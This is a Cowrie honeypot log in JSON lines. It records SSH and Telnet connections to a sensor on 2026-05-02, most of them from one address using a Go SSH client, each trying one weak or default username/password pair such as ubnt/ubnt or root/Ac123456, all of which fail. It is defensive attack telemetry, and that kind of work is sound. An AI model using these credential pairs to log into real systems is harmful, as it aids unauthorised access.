{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:45:58.577895Z","src_ip":"176.65.132.254","session":"04b0fb8ad5c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:45:58.797968Z","src_ip":"176.65.132.254","session":"04b0fb8ad5c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubnt","password":"ubnt","message":"login attempt [ubnt/ubnt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:45:59.150867Z","src_ip":"176.65.132.254","session":"04b0fb8ad5c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:46:00.244965Z","src_ip":"176.65.132.254","session":"04b0fb8ad5c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":35714,"dst_ip":"10.17.0.5","dst_port":22,"session":"bafd8fca59f1","protocol":"ssh","message":"New connection: 176.65.132.254:35714 (10.17.0.5:22) [session: bafd8fca59f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:46:02.668719Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:46:02.673932Z","src_ip":"176.65.132.254","session":"bafd8fca59f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:46:02.757662Z","src_ip":"176.65.132.254","session":"bafd8fca59f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"app","message":"login attempt [app/app] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:46:03.041926Z","src_ip":"176.65.132.254","session":"bafd8fca59f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:46:04.137982Z","src_ip":"176.65.132.254","session":"bafd8fca59f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00309729576111,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:46:06.188492Z","src_ip":"134.209.8.29","session":"d506a713fad3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":35718,"dst_ip":"10.17.0.5","dst_port":22,"session":"669003999d5e","protocol":"ssh","message":"New connection: 176.65.132.254:35718 (10.17.0.5:22) [session: 669003999d5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:46:06.704895Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:46:06.709970Z","src_ip":"176.65.132.254","session":"669003999d5e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:46:06.792448Z","src_ip":"176.65.132.254","session":"669003999d5e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openclaw","password":"123456","message":"login attempt [openclaw/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:46:07.046873Z","src_ip":"176.65.132.254","session":"669003999d5e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":11.49064016342163,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:46:07.116446Z","src_ip":"134.209.8.29","session":"9f5e7129ba94","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:46:08.149483Z","src_ip":"176.65.132.254","session":"669003999d5e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":39226,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c262c20adac","protocol":"telnet","message":"New connection: 38.54.119.93:39226 (10.17.0.5:23) [session: 4c262c20adac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:46:09.525245Z"}
{"eventid":"cowrie.session.connect","src_ip":"47.254.195.133","src_port":30194,"dst_ip":"10.17.0.5","dst_port":23,"session":"9969ce5cc7a4","protocol":"telnet","message":"New connection: 47.254.195.133:30194 (10.17.0.5:23) [session: 9969ce5cc7a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:46:10.176455Z"}
{"eventid":"cowrie.session.closed","duration":46.85898542404175,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:46:10.245083Z","src_ip":"38.54.119.93","session":"c039959c8bbc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":60188,"dst_ip":"159.203.135.109","dst_port":23,"session":"b41db89f246e","protocol":"telnet","message":"New connection: 134.209.8.29:60188 (159.203.135.109:23) [session: b41db89f246e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:46:10.337633Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":35730,"dst_ip":"10.17.0.5","dst_port":22,"session":"fdafd73e6971","protocol":"ssh","message":"New connection: 176.65.132.254:35730 (10.17.0.5:22) [session: fdafd73e6971]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:46:10.556570Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:46:10.573434Z","src_ip":"176.65.132.254","session":"fdafd73e6971","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:46:10.791493Z","src_ip":"176.65.132.254","session":"fdafd73e6971","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teste","password":"teste","message":"login attempt [teste/teste] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:46:11.098680Z","src_ip":"176.65.132.254","session":"fdafd73e6971","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:46:12.183777Z","src_ip":"176.65.132.254","session":"fdafd73e6971","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":3.2508702278137207,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:46:13.427217Z","src_ip":"47.254.195.133","session":"9969ce5cc7a4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":57.96867299079895,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:46:14.481160Z","src_ip":"134.209.8.29","session":"72008a1f54e7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":56.96056818962097,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:46:14.490671Z","src_ip":"134.209.8.29","session":"1879f4fe7f0b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":59938,"dst_ip":"10.17.0.5","dst_port":22,"session":"939c302c18f9","protocol":"ssh","message":"New connection: 176.65.132.254:59938 (10.17.0.5:22) [session: 939c302c18f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:46:14.665555Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:46:14.670309Z","src_ip":"176.65.132.254","session":"939c302c18f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:46:14.753712Z","src_ip":"176.65.132.254","session":"939c302c18f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kipt","password":"kipt","message":"login attempt [kipt/kipt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:46:15.008591Z","src_ip":"176.65.132.254","session":"939c302c18f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:46:16.096071Z","src_ip":"176.65.132.254","session":"939c302c18f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":59.0266797542572,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:46:17.527216Z","src_ip":"134.209.8.29","session":"90ee16e6e18e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":59944,"dst_ip":"10.17.0.5","dst_port":22,"session":"52c48006680c","protocol":"ssh","message":"New connection: 176.65.132.254:59944 (10.17.0.5:22) [session: 52c48006680c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:46:18.748191Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:46:18.755980Z","src_ip":"176.65.132.254","session":"52c48006680c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:46:18.840219Z","src_ip":"176.65.132.254","session":"52c48006680c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"backuply","password":"123456","message":"login attempt [backuply/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:46:19.143850Z","src_ip":"176.65.132.254","session":"52c48006680c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:46:20.411222Z","src_ip":"176.65.132.254","session":"52c48006680c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":40182,"dst_ip":"10.17.0.5","dst_port":22,"session":"04896edeaac6","protocol":"ssh","message":"New connection: 176.65.132.254:40182 (10.17.0.5:22) [session: 04896edeaac6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:46:22.876396Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:46:22.883744Z","src_ip":"176.65.132.254","session":"04896edeaac6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:46:22.966280Z","src_ip":"176.65.132.254","session":"04896edeaac6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ac123456","message":"login attempt [root/Ac123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:46:23.222261Z","src_ip":"176.65.132.254","session":"04896edeaac6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.254.195.133","src_port":29842,"dst_ip":"10.17.0.5","dst_port":23,"session":"bda84392e214","protocol":"telnet","message":"New connection: 47.254.195.133:29842 (10.17.0.5:23) [session: bda84392e214]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:46:23.660492Z"}
{"eventid":"cowrie.session.closed","duration":0.0061092376708984375,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:46:23.666453Z","src_ip":"47.254.195.133","session":"bda84392e214","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:46:24.349431Z","src_ip":"176.65.132.254","session":"04896edeaac6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":51206,"dst_ip":"10.17.0.5","dst_port":23,"session":"f85be981e56d","protocol":"telnet","message":"New connection: 38.54.119.93:51206 (10.17.0.5:23) [session: f85be981e56d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:46:25.765405Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":40194,"dst_ip":"10.17.0.5","dst_port":22,"session":"11b54d7757b7","protocol":"ssh","message":"New connection: 176.65.132.254:40194 (10.17.0.5:22) [session: 11b54d7757b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:46:26.916212Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:46:26.920585Z","src_ip":"176.65.132.254","session":"11b54d7757b7","protocol":"ssh"}
